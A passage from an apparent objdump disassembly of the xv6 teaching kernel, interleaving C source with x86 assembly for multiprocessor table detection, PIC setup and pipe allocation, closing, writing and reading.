80102edb: c7 04 24 00 00 40 80 movl $0x80400000,(%esp)
80102ee2: e8 49 f5 ff ff call 80102430 <kinit2>
userinit(); // first user process
80102ee7: e8 c4 07 00 00 call 801036b0 <userinit>
mpmain(); // finish this processor's setup
80102eec: e8 6f fe ff ff call 80102d60 <mpmain>
80102ef1: 66 90 xchg %ax,%ax
80102ef3: 66 90 xchg %ax,%ax
80102ef5: 66 90 xchg %ax,%ax
80102ef7: 66 90 xchg %ax,%ax
80102ef9: 66 90 xchg %ax,%ax
80102efb: 66 90 xchg %ax,%ax
80102efd: 66 90 xchg %ax,%ax
80102eff: 90 nop
80102f00 <mpsearch1>:
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102f00: 55 push %ebp
80102f01: 89 e5 mov %esp,%ebp
80102f03: 56 push %esi
uchar *e, *p, *addr;
addr = P2V(a);
80102f04: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi
{
80102f0a: 53 push %ebx
e = addr+len;
80102f0b: 8d 1c 16 lea (%esi,%edx,1),%ebx
{
80102f0e: 83 ec 10 sub $0x10,%esp
for(p = addr; p < e; p += sizeof(struct mp))
80102f11: 39 de cmp %ebx,%esi
80102f13: 73 3c jae 80102f51 <mpsearch1+0x51>
80102f15: 8d 76 00 lea 0x0(%esi),%esi
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80102f18: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80102f1f: 00
80102f20: c7 44 24 04 f8 72 10 movl $0x801072f8,0x4(%esp)
80102f27: 80
80102f28: 89 34 24 mov %esi,(%esp)
80102f2b: e8 80 13 00 00 call 801042b0 <memcmp>
80102f30: 85 c0 test %eax,%eax
80102f32: 75 16 jne 80102f4a <mpsearch1+0x4a>
80102f34: 31 c9 xor %ecx,%ecx
80102f36: 31 d2 xor %edx,%edx
sum += addr[i];
80102f38: 0f b6 04 16 movzbl (%esi,%edx,1),%eax
for(i=0; i<len; i++)
80102f3c: 83 c2 01 add $0x1,%edx
sum += addr[i];
80102f3f: 01 c1 add %eax,%ecx
for(i=0; i<len; i++)
80102f41: 83 fa 10 cmp $0x10,%edx
80102f44: 75 f2 jne 80102f38 <mpsearch1+0x38>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80102f46: 84 c9 test %cl,%cl
80102f48: 74 10 je 80102f5a <mpsearch1+0x5a>
for(p = addr; p < e; p += sizeof(struct mp))
80102f4a: 83 c6 10 add $0x10,%esi
80102f4d: 39 f3 cmp %esi,%ebx
80102f4f: 77 c7 ja 80102f18 <mpsearch1+0x18>
return (struct mp*)p;
return 0;
}
80102f51: 83 c4 10 add $0x10,%esp
return 0;
80102f54: 31 c0 xor %eax,%eax
}
80102f56: 5b pop %ebx
80102f57: 5e pop %esi
80102f58: 5d pop %ebp
80102f59: c3 ret
80102f5a: 83 c4 10 add $0x10,%esp
80102f5d: 89 f0 mov %esi,%eax
80102f5f: 5b pop %ebx
80102f60: 5e pop %esi
80102f61: 5d pop %ebp
80102f62: c3 ret
80102f63: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102f69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102f70 <mpinit>:
return conf;
}
void
mpinit(void)
{
80102f70: 55 push %ebp
80102f71: 89 e5 mov %esp,%ebp
80102f73: 57 push %edi
80102f74: 56 push %esi
80102f75: 53 push %ebx
80102f76: 83 ec 1c sub $0x1c,%esp
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80102f79: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax
80102f80: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx
80102f87: c1 e0 08 shl $0x8,%eax
80102f8a: 09 d0 or %edx,%eax
80102f8c: c1 e0 04 shl $0x4,%eax
80102f8f: 85 c0 test %eax,%eax
80102f91: 75 1b jne 80102fae <mpinit+0x3e>
p = ((bda[0x14]<<8)|bda[0x13])*1024;
80102f93: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax
80102f9a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx
80102fa1: c1 e0 08 shl $0x8,%eax
80102fa4: 09 d0 or %edx,%eax
80102fa6: c1 e0 0a shl $0xa,%eax
if((mp = mpsearch1(p-1024, 1024)))
80102fa9: 2d 00 04 00 00 sub $0x400,%eax
if((mp = mpsearch1(p, 1024)))
80102fae: ba 00 04 00 00 mov $0x400,%edx
80102fb3: e8 48 ff ff ff call 80102f00 <mpsearch1>
80102fb8: 85 c0 test %eax,%eax
80102fba: 89 c7 mov %eax,%edi
80102fbc: 0f 84 22 01 00 00 je 801030e4 <mpinit+0x174>
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80102fc2: 8b 77 04 mov 0x4(%edi),%esi
80102fc5: 85 f6 test %esi,%esi
80102fc7: 0f 84 30 01 00 00 je 801030fd <mpinit+0x18d>
conf = (struct mpconf*) P2V((uint) mp->physaddr);
80102fcd: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
if(memcmp(conf, "PCMP", 4) != 0)
80102fd3: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80102fda: 00
80102fdb: c7 44 24 04 fd 72 10 movl $0x801072fd,0x4(%esp)
80102fe2: 80
80102fe3: 89 04 24 mov %eax,(%esp)
conf = (struct mpconf*) P2V((uint) mp->physaddr);
80102fe6: 89 45 e4 mov %eax,-0x1c(%ebp)
if(memcmp(conf, "PCMP", 4) != 0)
80102fe9: e8 c2 12 00 00 call 801042b0 <memcmp>
80102fee: 85 c0 test %eax,%eax
80102ff0: 0f 85 07 01 00 00 jne 801030fd <mpinit+0x18d>
if(conf->version != 1 && conf->version != 4)
80102ff6: 0f b6 86 06 00 00 80 movzbl -0x7ffffffa(%esi),%eax
80102ffd: 3c 04 cmp $0x4,%al
80102fff: 0f 85 0b 01 00 00 jne 80103110 <mpinit+0x1a0>
if(sum((uchar*)conf, conf->length) != 0)
80103005: 0f b7 86 04 00 00 80 movzwl -0x7ffffffc(%esi),%eax
for(i=0; i<len; i++)
8010300c: 85 c0 test %eax,%eax
8010300e: 74 21 je 80103031 <mpinit+0xc1>
sum = 0;
80103010: 31 c9 xor %ecx,%ecx
for(i=0; i<len; i++)
80103012: 31 d2 xor %edx,%edx
80103014: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sum += addr[i];
80103018: 0f b6 9c 16 00 00 00 movzbl -0x80000000(%esi,%edx,1),%ebx
8010301f: 80
for(i=0; i<len; i++)
80103020: 83 c2 01 add $0x1,%edx
sum += addr[i];
80103023: 01 d9 add %ebx,%ecx
for(i=0; i<len; i++)
80103025: 39 d0 cmp %edx,%eax
80103027: 7f ef jg 80103018 <mpinit+0xa8>
if(sum((uchar*)conf, conf->length) != 0)
80103029: 84 c9 test %cl,%cl
8010302b: 0f 85 cc 00 00 00 jne 801030fd <mpinit+0x18d>
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
80103031: 8b 45 e4 mov -0x1c(%ebp),%eax
80103034: 85 c0 test %eax,%eax
80103036: 0f 84 c1 00 00 00 je 801030fd <mpinit+0x18d>
panic("Expect to run on an SMP");
ismp = 1;
lapic = (uint*)conf->lapicaddr;
8010303c: 8b 86 24 00 00 80 mov -0x7fffffdc(%esi),%eax
ismp = 1;
80103042: bb 01 00 00 00 mov $0x1,%ebx
lapic = (uint*)conf->lapicaddr;
80103047: a3 7c 26 11 80 mov %eax,0x8011267c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
8010304c: 0f b7 96 04 00 00 80 movzwl -0x7ffffffc(%esi),%edx
80103053: 8d 86 2c 00 00 80 lea -0x7fffffd4(%esi),%eax
80103059: 03 55 e4 add -0x1c(%ebp),%edx
8010305c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103060: 39 c2 cmp %eax,%edx
80103062: 76 1b jbe 8010307f <mpinit+0x10f>
80103064: 0f b6 08 movzbl (%eax),%ecx
switch(*p){
80103067: 80 f9 04 cmp $0x4,%cl
8010306a: 77 74 ja 801030e0 <mpinit+0x170>
8010306c: ff 24 8d 3c 73 10 80 jmp *-0x7fef8cc4(,%ecx,4)
80103073: 90 nop
80103074: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
p += sizeof(struct mpioapic);
continue;
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
80103078: 83 c0 08 add $0x8,%eax
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
8010307b: 39 c2 cmp %eax,%edx
8010307d: 77 e5 ja 80103064 <mpinit+0xf4>
default:
ismp = 0;
break;
}
}
if(!ismp)
8010307f: 85 db test %ebx,%ebx
80103081: 0f 84 93 00 00 00 je 8010311a <mpinit+0x1aa>
panic("Didn't find a suitable machine");
if(mp->imcrp){
80103087: 80 7f 0c 00 cmpb $0x0,0xc(%edi)
8010308b: 74 12 je 8010309f <mpinit+0x12f>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010308d: ba 22 00 00 00 mov $0x22,%edx
80103092: b8 70 00 00 00 mov $0x70,%eax
80103097: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80103098: b2 23 mov $0x23,%dl
8010309a: ec in (%dx),%al
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
8010309b: 83 c8 01 or $0x1,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010309e: ee out %al,(%dx)
}
}
8010309f: 83 c4 1c add $0x1c,%esp
801030a2: 5b pop %ebx
801030a3: 5e pop %esi
801030a4: 5f pop %edi
801030a5: 5d pop %ebp
801030a6: c3 ret
801030a7: 90 nop
if(ncpu < NCPU) {
801030a8: 8b 35 00 2d 11 80 mov 0x80112d00,%esi
801030ae: 83 fe 07 cmp $0x7,%esi
801030b1: 7f 17 jg 801030ca <mpinit+0x15a>
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
801030b3: 0f b6 48 01 movzbl 0x1(%eax),%ecx
801030b7: 69 f6 b0 00 00 00 imul $0xb0,%esi,%esi
ncpu++;
801030bd: 83 05 00 2d 11 80 01 addl $0x1,0x80112d00
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
801030c4: 88 8e 80 27 11 80 mov %cl,-0x7feed880(%esi)
p += sizeof(struct mpproc);
801030ca: 83 c0 14 add $0x14,%eax
continue;
801030cd: eb 91 jmp 80103060 <mpinit+0xf0>
801030cf: 90 nop
ioapicid = ioapic->apicno;
801030d0: 0f b6 48 01 movzbl 0x1(%eax),%ecx
p += sizeof(struct mpioapic);
801030d4: 83 c0 08 add $0x8,%eax
ioapicid = ioapic->apicno;
801030d7: 88 0d 60 27 11 80 mov %cl,0x80112760
continue;
801030dd: eb 81 jmp 80103060 <mpinit+0xf0>
801030df: 90 nop
ismp = 0;
801030e0: 31 db xor %ebx,%ebx
801030e2: eb 83 jmp 80103067 <mpinit+0xf7>
return mpsearch1(0xF0000, 0x10000);
801030e4: ba 00 00 01 00 mov $0x10000,%edx
801030e9: b8 00 00 0f 00 mov $0xf0000,%eax
801030ee: e8 0d fe ff ff call 80102f00 <mpsearch1>
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
801030f3: 85 c0 test %eax,%eax
return mpsearch1(0xF0000, 0x10000);
801030f5: 89 c7 mov %eax,%edi
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
801030f7: 0f 85 c5 fe ff ff jne 80102fc2 <mpinit+0x52>
panic("Expect to run on an SMP");
801030fd: c7 04 24 02 73 10 80 movl $0x80107302,(%esp)
80103104: e8 57 d2 ff ff call 80100360 <panic>
80103109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(conf->version != 1 && conf->version != 4)
80103110: 3c 01 cmp $0x1,%al
80103112: 0f 84 ed fe ff ff je 80103005 <mpinit+0x95>
80103118: eb e3 jmp 801030fd <mpinit+0x18d>
panic("Didn't find a suitable machine");
8010311a: c7 04 24 1c 73 10 80 movl $0x8010731c,(%esp)
80103121: e8 3a d2 ff ff call 80100360 <panic>
80103126: 66 90 xchg %ax,%ax
80103128: 66 90 xchg %ax,%ax
8010312a: 66 90 xchg %ax,%ax
8010312c: 66 90 xchg %ax,%ax
8010312e: 66 90 xchg %ax,%ax
80103130 <picinit>:
#define IO_PIC2 0xA0 // Slave (IRQs 8-15)
// Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware.
void
picinit(void)
{
80103130: 55 push %ebp
80103131: ba 21 00 00 00 mov $0x21,%edx
80103136: 89 e5 mov %esp,%ebp
80103138: b8 ff ff ff ff mov $0xffffffff,%eax
8010313d: ee out %al,(%dx)
8010313e: b2 a1 mov $0xa1,%dl
80103140: ee out %al,(%dx)
// mask all interrupts
outb(IO_PIC1+1, 0xFF);
outb(IO_PIC2+1, 0xFF);
}
80103141: 5d pop %ebp
80103142: c3 ret
80103143: 66 90 xchg %ax,%ax
80103145: 66 90 xchg %ax,%ax
80103147: 66 90 xchg %ax,%ax
80103149: 66 90 xchg %ax,%ax
8010314b: 66 90 xchg %ax,%ax
8010314d: 66 90 xchg %ax,%ax
8010314f: 90 nop
80103150 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
80103150: 55 push %ebp
80103151: 89 e5 mov %esp,%ebp
80103153: 57 push %edi
80103154: 56 push %esi
80103155: 53 push %ebx
80103156: 83 ec 1c sub $0x1c,%esp
80103159: 8b 75 08 mov 0x8(%ebp),%esi
8010315c: 8b 5d 0c mov 0xc(%ebp),%ebx
struct pipe *p;
p = 0;
*f0 = *f1 = 0;
8010315f: c7 03 00 00 00 00 movl $0x0,(%ebx)
80103165: c7 06 00 00 00 00 movl $0x0,(%esi)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
8010316b: e8 d0 db ff ff call 80100d40 <filealloc>
80103170: 85 c0 test %eax,%eax
80103172: 89 06 mov %eax,(%esi)
80103174: 0f 84 a4 00 00 00 je 8010321e <pipealloc+0xce>
8010317a: e8 c1 db ff ff call 80100d40 <filealloc>
8010317f: 85 c0 test %eax,%eax
80103181: 89 03 mov %eax,(%ebx)
80103183: 0f 84 87 00 00 00 je 80103210 <pipealloc+0xc0>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
80103189: e8 f2 f2 ff ff call 80102480 <kalloc>
8010318e: 85 c0 test %eax,%eax
80103190: 89 c7 mov %eax,%edi
80103192: 74 7c je 80103210 <pipealloc+0xc0>
goto bad;
p->readopen = 1;
80103194: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
8010319b: 00 00 00
p->writeopen = 1;
8010319e: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
801031a5: 00 00 00
p->nwrite = 0;
801031a8: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
801031af: 00 00 00
p->nread = 0;
801031b2: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
801031b9: 00 00 00
initlock(&p->lock, "pipe");
801031bc: 89 04 24 mov %eax,(%esp)
801031bf: c7 44 24 04 50 73 10 movl $0x80107350,0x4(%esp)
801031c6: 80
801031c7: e8 64 0e 00 00 call 80104030 <initlock>
(*f0)->type = FD_PIPE;
801031cc: 8b 06 mov (%esi),%eax
801031ce: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
801031d4: 8b 06 mov (%esi),%eax
801031d6: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
801031da: 8b 06 mov (%esi),%eax
801031dc: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
801031e0: 8b 06 mov (%esi),%eax
801031e2: 89 78 0c mov %edi,0xc(%eax)
(*f1)->type = FD_PIPE;
801031e5: 8b 03 mov (%ebx),%eax
801031e7: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
801031ed: 8b 03 mov (%ebx),%eax
801031ef: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
801031f3: 8b 03 mov (%ebx),%eax
801031f5: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
801031f9: 8b 03 mov (%ebx),%eax
return 0;
801031fb: 31 db xor %ebx,%ebx
(*f1)->pipe = p;
801031fd: 89 78 0c mov %edi,0xc(%eax)
if(*f0)
fileclose(*f0);
if(*f1)
fileclose(*f1);
return -1;
}
80103200: 83 c4 1c add $0x1c,%esp
80103203: 89 d8 mov %ebx,%eax
80103205: 5b pop %ebx
80103206: 5e pop %esi
80103207: 5f pop %edi
80103208: 5d pop %ebp
80103209: c3 ret
8010320a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(*f0)
80103210: 8b 06 mov (%esi),%eax
80103212: 85 c0 test %eax,%eax
80103214: 74 08 je 8010321e <pipealloc+0xce>
fileclose(*f0);
80103216: 89 04 24 mov %eax,(%esp)
80103219: e8 e2 db ff ff call 80100e00 <fileclose>
if(*f1)
8010321e: 8b 03 mov (%ebx),%eax
return -1;
80103220: bb ff ff ff ff mov $0xffffffff,%ebx
if(*f1)
80103225: 85 c0 test %eax,%eax
80103227: 74 d7 je 80103200 <pipealloc+0xb0>
fileclose(*f1);
80103229: 89 04 24 mov %eax,(%esp)
8010322c: e8 cf db ff ff call 80100e00 <fileclose>
}
80103231: 83 c4 1c add $0x1c,%esp
80103234: 89 d8 mov %ebx,%eax
80103236: 5b pop %ebx
80103237: 5e pop %esi
80103238: 5f pop %edi
80103239: 5d pop %ebp
8010323a: c3 ret
8010323b: 90 nop
8010323c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103240 <pipeclose>:
void
pipeclose(struct pipe *p, int writable)
{
80103240: 55 push %ebp
80103241: 89 e5 mov %esp,%ebp
80103243: 56 push %esi
80103244: 53 push %ebx
80103245: 83 ec 10 sub $0x10,%esp
80103248: 8b 5d 08 mov 0x8(%ebp),%ebx
8010324b: 8b 75 0c mov 0xc(%ebp),%esi
acquire(&p->lock);
8010324e: 89 1c 24 mov %ebx,(%esp)
80103251: e8 ca 0e 00 00 call 80104120 <acquire>
if(writable){
80103256: 85 f6 test %esi,%esi
80103258: 74 3e je 80103298 <pipeclose+0x58>
p->writeopen = 0;
wakeup(&p->nread);
8010325a: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
p->writeopen = 0;
80103260: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx)
80103267: 00 00 00
wakeup(&p->nread);
8010326a: 89 04 24 mov %eax,(%esp)
8010326d: e8 fe 0a 00 00 call 80103d70 <wakeup>
} else {
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
80103272: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx
80103278: 85 d2 test %edx,%edx
8010327a: 75 0a jne 80103286 <pipeclose+0x46>
8010327c: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax
80103282: 85 c0 test %eax,%eax
80103284: 74 32 je 801032b8 <pipeclose+0x78>
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
80103286: 89 5d 08 mov %ebx,0x8(%ebp)
}
80103289: 83 c4 10 add $0x10,%esp
8010328c: 5b pop %ebx
8010328d: 5e pop %esi
8010328e: 5d pop %ebp
release(&p->lock);
8010328f: e9 7c 0f 00 00 jmp 80104210 <release>
80103294: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
wakeup(&p->nwrite);
80103298: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
p->readopen = 0;
8010329e: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx)
801032a5: 00 00 00
wakeup(&p->nwrite);
801032a8: 89 04 24 mov %eax,(%esp)
801032ab: e8 c0 0a 00 00 call 80103d70 <wakeup>
801032b0: eb c0 jmp 80103272 <pipeclose+0x32>
801032b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
release(&p->lock);
801032b8: 89 1c 24 mov %ebx,(%esp)
801032bb: e8 50 0f 00 00 call 80104210 <release>
kfree((char*)p);
801032c0: 89 5d 08 mov %ebx,0x8(%ebp)
}
801032c3: 83 c4 10 add $0x10,%esp
801032c6: 5b pop %ebx
801032c7: 5e pop %esi
801032c8: 5d pop %ebp
kfree((char*)p);
801032c9: e9 02 f0 ff ff jmp 801022d0 <kfree>
801032ce: 66 90 xchg %ax,%ax
801032d0 <pipewrite>:
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
801032d0: 55 push %ebp
801032d1: 89 e5 mov %esp,%ebp
801032d3: 57 push %edi
801032d4: 56 push %esi
801032d5: 53 push %ebx
801032d6: 83 ec 1c sub $0x1c,%esp
801032d9: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
acquire(&p->lock);
801032dc: 89 1c 24 mov %ebx,(%esp)
801032df: e8 3c 0e 00 00 call 80104120 <acquire>
for(i = 0; i < n; i++){
801032e4: 8b 4d 10 mov 0x10(%ebp),%ecx
801032e7: 85 c9 test %ecx,%ecx
801032e9: 0f 8e b2 00 00 00 jle 801033a1 <pipewrite+0xd1>
801032ef: 8b 4d 0c mov 0xc(%ebp),%ecx
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
if(p->readopen == 0 || myproc()->killed){
release(&p->lock);
return -1;
}
wakeup(&p->nread);
801032f2: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi
801032f8: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
801032fe: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi
80103304: 89 4d e4 mov %ecx,-0x1c(%ebp)
80103307: 03 4d 10 add 0x10(%ebp),%ecx
8010330a: 89 4d e0 mov %ecx,-0x20(%ebp)
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
8010330d: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx
80103313: 81 c1 00 02 00 00 add $0x200,%ecx
80103319: 39 c8 cmp %ecx,%eax
8010331b: 74 38 je 80103355 <pipewrite+0x85>
8010331d: eb 55 jmp 80103374 <pipewrite+0xa4>
8010331f: 90 nop
if(p->readopen == 0 || myproc()->killed){
80103320: e8 5b 03 00 00 call 80103680 <myproc>
80103325: 8b 40 24 mov 0x24(%eax),%eax
80103328: 85 c0 test %eax,%eax
8010332a: 75 33 jne 8010335f <pipewrite+0x8f>
wakeup(&p->nread);
8010332c: 89 3c 24 mov %edi,(%esp)
8010332f: e8 3c 0a 00 00 call 80103d70 <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
80103334: 89 5c 24 04 mov %ebx,0x4(%esp)
80103338: 89 34 24 mov %esi,(%esp)
8010333b: e8 a0 08 00 00 call 80103be0 <sleep>
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80103340: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax
80103346: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx
8010334c: 05 00 02 00 00 add $0x200,%eax
80103351: 39 c2 cmp %eax,%edx
80103353: 75 23 jne 80103378 <pipewrite+0xa8>
if(p->readopen == 0 || myproc()->killed){
80103355: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx
8010335b: 85 d2 test %edx,%edx
8010335d: 75 c1 jne 80103320 <pipewrite+0x50>
release(&p->lock);
8010335f: 89 1c 24 mov %ebx,(%esp)
80103362: e8 a9 0e 00 00 call 80104210 <release>
return -1;
80103367: b8 ff ff ff ff mov $0xffffffff,%eax
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
release(&p->lock);
return n;
}
8010336c: 83 c4 1c add $0x1c,%esp
8010336f: 5b pop %ebx
80103370: 5e pop %esi
80103371: 5f pop %edi
80103372: 5d pop %ebp
80103373: c3 ret
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80103374: 89 c2 mov %eax,%edx
80103376: 66 90 xchg %ax,%ax
p->data[p->nwrite++ % PIPESIZE] = addr[i];
80103378: 8b 4d e4 mov -0x1c(%ebp),%ecx
8010337b: 8d 42 01 lea 0x1(%edx),%eax
8010337e: 81 e2 ff 01 00 00 and $0x1ff,%edx
80103384: 89 83 38 02 00 00 mov %eax,0x238(%ebx)
8010338a: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
8010338e: 0f b6 09 movzbl (%ecx),%ecx
80103391: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1)
for(i = 0; i < n; i++){
80103395: 8b 4d e4 mov -0x1c(%ebp),%ecx
80103398: 3b 4d e0 cmp -0x20(%ebp),%ecx
8010339b: 0f 85 6c ff ff ff jne 8010330d <pipewrite+0x3d>
wakeup(&p->nread); //DOC: pipewrite-wakeup1
801033a1: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
801033a7: 89 04 24 mov %eax,(%esp)
801033aa: e8 c1 09 00 00 call 80103d70 <wakeup>
release(&p->lock);
801033af: 89 1c 24 mov %ebx,(%esp)
801033b2: e8 59 0e 00 00 call 80104210 <release>
return n;
801033b7: 8b 45 10 mov 0x10(%ebp),%eax
801033ba: eb b0 jmp 8010336c <pipewrite+0x9c>
801033bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801033c0 <piperead>:
int
piperead(struct pipe *p, char *addr, int n)
{
801033c0: 55 push %ebp
801033c1: 89 e5 mov %esp,%ebp
801033c3: 57 push %edi
801033c4: 56 push %esi
801033c5: 53 push %ebx
801033c6: 83 ec 1c sub $0x1c,%esp
801033c9: 8b 75 08 mov 0x8(%ebp),%esi
801033cc: 8b 7d 0c mov 0xc(%ebp),%edi
int i;
acquire(&p->lock);
801033cf: 89 34 24 mov %esi,(%esp)
801033d2: e8 49 0d 00 00 call 80104120 <acquire>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
801033d7: 8b 86 34 02 00 00 mov 0x234(%esi),%eax
801033dd: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax
801033e3: 75 5b jne 80103440 <piperead+0x80>
801033e5: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx
801033eb: 85 db test %ebx,%ebx
801033ed: 74 51 je 80103440 <piperead+0x80>
if(myproc()->killed){
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
801033ef: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx
801033f5: eb 25 jmp 8010341c <piperead+0x5c>
801033f7: 90 nop
801033f8: 89 74 24 04 mov %esi,0x4(%esp)
801033fc: 89 1c 24 mov %ebx,(%esp)
801033ff: e8 dc 07 00 00 call 80103be0 <sleep>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80103404: 8b 86 34 02 00 00 mov 0x234(%esi),%eax
8010340a: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax
80103410: 75 2e jne 80103440 <piperead+0x80>
80103412: 8b 96 40 02 00 00 mov 0x240(%esi),%edx
80103418: 85 d2 test %edx,%edx
8010341a: 74 24 je 80103440 <piperead+0x80>
if(myproc()->killed){
8010341c: e8 5f 02 00 00 call 80103680 <myproc>
80103421: 8b 48 24 mov 0x24(%eax),%ecx
80103424: 85 c9 test %ecx,%ecx
80103426: 74 d0 je 801033f8 <piperead+0x38>
release(&p->lock);
80103428: 89 34 24 mov %esi,(%esp)
8010342b: e8 e0 0d 00 00 call 80104210 <release>
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
}
80103430: 83 c4 1c add $0x1c,%esp
return -1;
80103433: b8 ff ff ff ff mov $0xffffffff,%eax
}
80103438: 5b pop %ebx
80103439: 5e pop %esi
8010343a: 5f pop %edi
8010343b: 5d pop %ebp
8010343c: c3 ret
8010343d: 8d 76 00 lea 0x0(%esi),%esi
for(i = 0; i < n; i++){ //DOC: piperead-copy
80103440: 8b 55 10 mov 0x10(%ebp),%edx
if(p->nread == p->nwrite)
80103443: 31 db xor %ebx,%ebx
for(i = 0; i < n; i++){ //DOC: piperead-copy
80103445: 85 d2 test %edx,%edx
80103447: 7f 2b jg 80103474 <piperead+0xb4>
80103449: eb 31 jmp 8010347c <piperead+0xbc>
8010344b: 90 nop
8010344c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
addr[i] = p->data[p->nread++ % PIPESIZE];
80103450: 8d 48 01 lea 0x1(%eax),%ecx
80103453: 25 ff 01 00 00 and $0x1ff,%eax
80103458: 89 8e 34 02 00 00 mov %ecx,0x234(%esi)
8010345e: 0f b6 44 06 34 movzbl 0x34(%esi,%eax,1),%eax
80103463: 88 04 1f mov %al,(%edi,%ebx,1)
for(i = 0; i < n; i++){ //DOC: piperead-copy
80103466: 83 c3 01 add $0x1,%ebx
80103469: 3b 5d 10 cmp 0x10(%ebp),%ebx
8010346c: 74 0e je 8010347c <piperead+0xbc>
if(p->nread == p->nwrite)
8010346e: 8b 86 34 02 00 00 mov 0x234(%esi),%eax
80103474: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax
8010347a: 75 d4 jne 80103450 <piperead+0x90>
wakeup(&p->nwrite); //DOC: piperead-wakeup
8010347c: 8d 86 38 02 00 00 lea 0x238(%esi),%eax
80103482: 89 04 24 mov %eax,(%esp)
80103485: e8 e6 08 00 00 call 80103d70 <wakeup>
release(&p->lock);
8010348a: 89 34 24 mov %esi,(%esp)
